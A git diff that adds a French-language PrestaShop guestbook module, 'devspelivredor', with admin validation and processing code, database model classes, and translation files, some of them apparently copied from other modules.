          '; + } + + private function _postValidation() + { + $errors = array(); + + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_livredor'))) + $errors[] = $this->l('Invalid livredor'); + } + /* Validation for livredor */ + elseif (Tools::isSubmit('changeStatusEnavant')) + { + if (!Validate::isInt(Tools::getValue('id_livredor'))) + $errors[] = $this->l('Invalid livredor'); + } + /* Validation for livredor */ + elseif (Tools::isSubmit('submitlivredor')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_livredor')) || (Tools::getValue('active_livredor') != 0 && Tools::getValue('active_livredor') != 1)) + $errors[] = $this->l('Invalid "active" state'); + if (!Validate::isInt(Tools::getValue('en_avant_livredor')) || (Tools::getValue('en_avant_livredor') != 0 && Tools::getValue('en_avant_livredor') != 1)) + $errors[] = $this->l('Invalid "en avant" state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid livredor position'); + /* If edit : checks id_livredor */ + if (Tools::isSubmit('id_livredor')) + { + if (!Validate::isInt(Tools::getValue('id_livredor')) && !$this->livredorExists(Tools::getValue('id_livredor'))) + $errors[] = $this->l('Invalid id_livredor'); + } + /* Checks title/url/legend/phrase/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + + if (Tools::strlen(Tools::getValue('phrase_'.$language['id_lang'])) > 255) + $errors[] = $this->l('La phrase est trop longue'); + // if (Tools::strlen(Tools::getValue('phrase_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The phrase is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + + /* Checks title/url/legend/phrase for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('titre_'.$id_lang_default)) == 0) + $errors[] = $this->l('Le titre est obligatoire'); + if (Tools::strlen(Tools::getValue('phrase_'.$id_lang_default)) == 0) + $errors[] = $this->l('La phrase obligatoire'); + if (Tools::strlen(Tools::getValue('prenom_'.$id_lang_default)) == 0) + $errors[] = $this->l('Le prénom obligatoire'); + if (Tools::strlen(Tools::getValue('nom_'.$id_lang_default)) == 0) + $errors[] = $this->l('Le nom obligatoire'); + if (Tools::strlen(Tools::getValue('note')) == 0) + $errors[] = $this->l('La note obligatoire'); + // if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + // $errors[] = $this->l('The image is not set.'); + // if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + // $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_livredor') && (!Validate::isInt(Tools::getValue('delete_id_livredor')) || !$this->livredorExists((int)Tools::getValue('delete_id_livredor')))) + $errors[] = $this->l('Invalid id_livredor'); + + elseif (Tools::isSubmit('submittheme')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_theme')) || (Tools::getValue('active_theme') != 0 && Tools::getValue('active_theme') != 1)) + $errors[] = $this->l('Invalid theme state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid theme position'); + /* If edit : checks id_theme */ + if (Tools::isSubmit('id_theme')) + { + if (!Validate::isInt(Tools::getValue('id_theme')) && !$this->livredorExists(Tools::getValue('id_theme'))) + $errors[] = $this->l('Invalid id_theme'); + } + /* Checks title/url/legend/phrase/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + // if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + // $errors[] = $this->l('The title is too long.'); + // if (Tools::strlen(Tools::getValue('phrase_'.$language['id_lang'])) > 4000) + // $errors[] = $this->l('The phrase is too long.'); + // if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + // if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + // $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/phrase for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('Nom du thème obligatoire'); + + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_theme') && (!Validate::isInt(Tools::getValue('delete_id_theme')) || !$this->livredorExists((int)Tools::getValue('delete_id_theme')))) + $errors[] = $this->l('Invalid id_theme'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + if (Tools::isSubmit('changeStatusEnavant') && Tools::isSubmit('id_livredor')) + { + + $livredor = new livredorItem((int)Tools::getValue('id_livredor')); + + if ($livredor->en_avant == 0){ + Db::getInstance()->execute('update '._DB_PREFIX_.'devspelivredor_item set en_avant=0'); + $livredor->en_avant = 1; + }else + $livredor->en_avant = 0; + $res = $livredor->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes livredor */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_livredor')) + { + $livredor = new livredorItem((int)Tools::getValue('id_livredor')); + if ($livredor->active == 0) + $livredor->active = 1; + else + $livredor->active = 0; + $res = $livredor->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes livredor */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_theme')) + { + $livredor = new livredorTheme((int)Tools::getValue('id_theme')); + if ($livredor->active == 0) + $livredor->active = 1; + else + $livredor->active = 0; + $res = $livredor->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes livredor */ + elseif (Tools::isSubmit('submitlivredor')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_livredor')) + { + $livredor = new livredorItem((int)Tools::getValue('id_livredor')); + if (!Validate::isLoadedObject($livredor)) + { + $this->_html .= $this->displayError($this->l('Invalid id_livredor')); + return; + } + } + else + $livredor = new livredorItem(); + /* Sets position */ + $livredor->position = (int)Tools::getValue('position'); + $livredor->id_theme = (int)Tools::getValue('id_theme'); + /* Sets active */ + $livredor->active = (int)Tools::getValue('active_livredor'); + $livredor->en_avant = (int)Tools::getValue('en_avant_livredor'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + + $livredor->prenom[$language['id_lang']] = Tools::getValue('prenom_'.$language['id_lang']); + $livredor->nom[$language['id_lang']] = Tools::getValue('nom_'.$language['id_lang']); + $livredor->departement[$language['id_lang']] = Tools::getValue('departement_'.$language['id_lang']); + $livredor->ville[$language['id_lang']] = Tools::getValue('ville_'.$language['id_lang']); + $livredor->titre[$language['id_lang']] = Tools::getValue('titre_'.$language['id_lang']); + $livredor->phrase[$language['id_lang']] = Tools::getValue('phrase_'.$language['id_lang']); + $livredor->note = Tools::getValue('note'); + $livredor->age = Tools::getValue('age'); + + // /* Uploads image and sets livredor */ + // $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + // $imagesize = array(); + // $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + // if (isset($_FILES['image_'.$language['id_lang']]) && + // isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + // !empty($imagesize) && + // in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + // in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + // { + // $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + // $salt = sha1(microtime()); + // if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + // $errors[] = $error; + // elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + // return false; + // elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + // $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + // if (isset($temp_name)) + // @unlink($temp_name); + // $livredor->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + // } + // elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + // $livredor->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if($livredor->en_avant==1) + Db::getInstance()->execute('update '._DB_PREFIX_.'devspelivredor_item set en_avant=0'); + + if (!Tools::getValue('id_livredor')) + { + if (!$livredor->add()) + $errors[] = $this->displayError($this->l('The livredor could not be added.')); + } + /* Update */ + elseif (!$livredor->update()) + $errors[] = $this->displayError($this->l('The livredor could not be updated.')); + + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_livredor')) + { + $livredor = new livredorItem((int)Tools::getValue('delete_id_livredor')); + $res = $livredor->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('livredor deleted')); + } + elseif (Tools::isSubmit('submittheme')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_theme')) + { + $livredor = new livredorTheme((int)Tools::getValue('id_theme')); + if (!Validate::isLoadedObject($livredor)) + { + $this->_html .= $this->displayError($this->l('Invalid id_theme')); + return; + } + } + else + $livredor = new livredorTheme(); + /* Sets position */ + $livredor->id_livredor_parent = (int)Tools::getValue('id_livredor_parent'); + + $livredor->position = (int)Tools::getValue('position'); + /* Sets active */ + $livredor->active = (int)Tools::getValue('active_theme'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $livredor->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_theme')) + { + $livredor->add(); + // $errors[] = $this->displayError($this->l('Le thème ne peut être créé')); + } + /* Update */ + elseif (!$livredor->update()) + $errors[] = $this->displayError($this->l('Le thème n\'a pas été modifié')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_theme')) + { + $livredor = new livredorTheme((int)Tools::getValue('delete_id_theme')); + $res = $livredor->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Thème supprimé')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submittheme') && Tools::getValue('id_theme')) + $this->_html .= $this->displayConfirmation($this->l('Thème updated')); + elseif (Tools::isSubmit('submittheme')) + $this->_html .= $this->displayConfirmation($this->l('Thème added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspelivredor.tpl', $this->getCacheId())) + { + // $livredorr = array( + // 'width' => Configuration::get('devspelivredor_WIDTH'), + // 'height' => Configuration::get('devspelivredor_HEIGHT'), + // 'speed' => Configuration::get('devspelivredor_SPEED'), + // 'pause' => Configuration::get('devspelivredor_PAUSE'), + // 'loop' => Configuration::get('devspelivredor_LOOP'), + // ); + + $livredors = $this->getItemslivredor(true); + if (!$livredors) + return false; + + $this->smarty->assign('devspelivredor_item', $livredors); + // $this->smarty->assign('devspelivredor', $livredorr); + } + + return true; + } + + public function hookTop() + { + // if(!$this->_prepareHook()) + // return; + + // Check if not a mobile theme + /* + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxlivredorr.min.js'); + $this->context->controller->addCSS($this->_path.'devspelivredor.css'); + $this->context->controller->addJS($this->_path.'js/devspelivredor.js'); + return $this->display(__FILE__, 'devspelivredor.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + $this->_clearCache('devspelivredor.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspelivredor (id_livredor_item, id_shop) + SELECT id_livredor_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspelivredor + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'livredors configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspelivredor_item` hss, `'._DB_PREFIX_.'devspelivredor` hs + WHERE hss.`id_livredor_item` = hs.`id_livredor_item` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + public function getNextPositionTheme() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspelivredor_theme` hss' + ); + + return (++$row['next_position']); + } + + public function getItemslivredor($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_livredor_item` as id_livredor, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hss.`en_avant`, + hss.`note`, + hss.`age`, + hssl.`prenom`, + hssl.`nom`, + hssl.`nom`, + hssl.`departement`, + hssl.`ville`, + hssl.`titre`, + + + hssl.`phrase` + FROM '._DB_PREFIX_.'devspelivredor hs + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item hss ON (hs.id_livredor_item = hss.id_livredor_item) + LEFT JOIN '._DB_PREFIX_.'devspelivredor_item_lang hssl ON (hss.id_livredor_item = hssl.id_livredor_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function getItemsTheme($active = null,$zero=null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_livredor_theme` as id_theme, + hss.`position`, + hss.`active`, + hss.`id_livredor_parent`, + hssl.`title` + FROM '._DB_PREFIX_.'devspelivredor_theme hss + LEFT JOIN '._DB_PREFIX_.'devspelivredor_theme_lang hssl ON (hss.id_livredor_theme = hssl.id_livredor_theme) + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' '). + ($zero ? ' AND hss.`id_livredor_parent` = 0' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatusEnavant($id_livredor, $en_avant) + { + $title = ((int)$en_avant == 0 ? $this->l('Mettre ce message en avant') : $this->l('Ce message est mis en avant')); + $img = ((int)$en_avant == 0 ? 'en_avant_off.jpg' : 'en_avant_on.jpg'); + $html = ''.$title.''; + return $html; + } + public function displayStatus($id_livredor, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function livredorExists($id_livredor) + { + $req = 'SELECT hs.`id_livredor_item` as id_livredor + FROM `'._DB_PREFIX_.'devspelivredor` hs + WHERE hs.`id_livredor_item` = '.(int)$id_livredor; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } + public function livredorThemeExists($id_theme) + { + $req = 'SELECT hs.`id_livredor_theme` as id_theme + FROM `'._DB_PREFIX_.'devspelivredor_theme` hs + WHERE hs.`id_livredor_theme` = '.(int)$id_theme; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspelivredor/devspelivredor.tpl b/modules/devspelivredor/devspelivredor.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/devspelivredor/faq.php b/modules/devspelivredor/faq.php new file mode 100755 index 0000000..4abd443 --- /dev/null +++ b/modules/devspelivredor/faq.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HomeBlocks extends ObjectModel +{ + public $title; + public $subtitle; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspehomeblocks_slides', + 'primary' => 'id_devspehomeblocks_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => true, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspehomeblocks` (`id_shop`, `id_devspehomeblocks_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspehomeblocks` + WHERE `id_devspehomeblocks_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss, `'._DB_PREFIX_.'devspehomeblocks` hs + WHERE hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_devspehomeblocks_slides` as id_slide + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss + LEFT JOIN `'._DB_PREFIX_.'devspehomeblocks` hs ON (hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_slide = new HomeBlocks($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/modules/devspelivredor/index.php b/modules/devspelivredor/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspelivredor/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspelivredor/livredorItem.php b/modules/devspelivredor/livredorItem.php new file mode 100755 index 0000000..29c30ac --- /dev/null +++ b/modules/devspelivredor/livredorItem.php @@ -0,0 +1,145 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class livredorItem extends ObjectModel +{ + public $prenom; + public $nom; + public $age; + public $departement; + public $ville; + public $titre; + public $note; + public $phrase; + public $active; + public $en_avant; + public $position; + public $id_theme; + + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspelivredor_item', + 'primary' => 'id_livredor_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'en_avant' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_theme' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + 'age' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + 'note' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'titre' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 255), + 'phrase' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 8000), + 'prenom' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'nom' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + 'departement' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + 'ville' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + ) + ); + + + + public function __construct($id_livredor = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_livredor, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspelivredor` (`id_shop`, `id_livredor_item`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + // $images = $this->image; + // foreach ($images as $image) + // { + // if (preg_match('/sample/', $image) === 0) + // if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + // $res &= @unlink(dirname(__FILE__).'/images/'.$image); + // } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspelivredor` + WHERE `id_livredor_item` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_livredor = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspelivredor_item` hss, `'._DB_PREFIX_.'devspelivredor` hs + WHERE hss.`id_livredor_item` = hs.`id_livredor_item` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_livredor) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_livredor_item` as id_livredor + FROM `'._DB_PREFIX_.'devspelivredor_item` hss + LEFT JOIN `'._DB_PREFIX_.'devspelivredor` hs ON (hss.`id_livredor_item` = hs.`id_livredor_item`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_livredor = new livredorItem($row['id_livredor']); + --$current_livredor->position; + $current_livredor->update(); + unset($current_livredor); + } + + return true; + } + +} diff --git a/modules/devspelivredor/livredorTheme.php b/modules/devspelivredor/livredorTheme.php new file mode 100755 index 0000000..eb0cbdd --- /dev/null +++ b/modules/devspelivredor/livredorTheme.php @@ -0,0 +1,115 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class livredorTheme extends ObjectModel +{ + public $title; + public $id_livredor_parent; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspelivredor_theme', + 'primary' => 'id_livredor_theme', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_livredor_parent' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_livredor = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_livredor, $id_lang, $id_shop); + } + + public function add($autodate = false, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspelivredor_theme` (`id_livredor_theme`) + // VALUES('.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspelivredor_theme` + WHERE `id_livredor_theme` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_livredor = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspelivredor_theme` hss'); + + if ((int)$max == (int)$id_livredor) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_livredor_theme` as id_livredor + FROM `'._DB_PREFIX_.'devspelivredor_theme` hss + WHERE hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_livredor = new livredortheme($row['id_livredor']); + --$current_livredor->position; + $current_livredor->update(); + unset($current_livredor); + } + + return true; + } + +} diff --git a/modules/devspelivredor/logo.gif b/modules/devspelivredor/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspelivredor/logo.gif differ diff --git a/modules/devspelivredor/logo.png b/modules/devspelivredor/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspelivredor/logo.png differ diff --git a/modules/devspelivredor/translations/en.php b/modules/devspelivredor/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspelivredor/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; 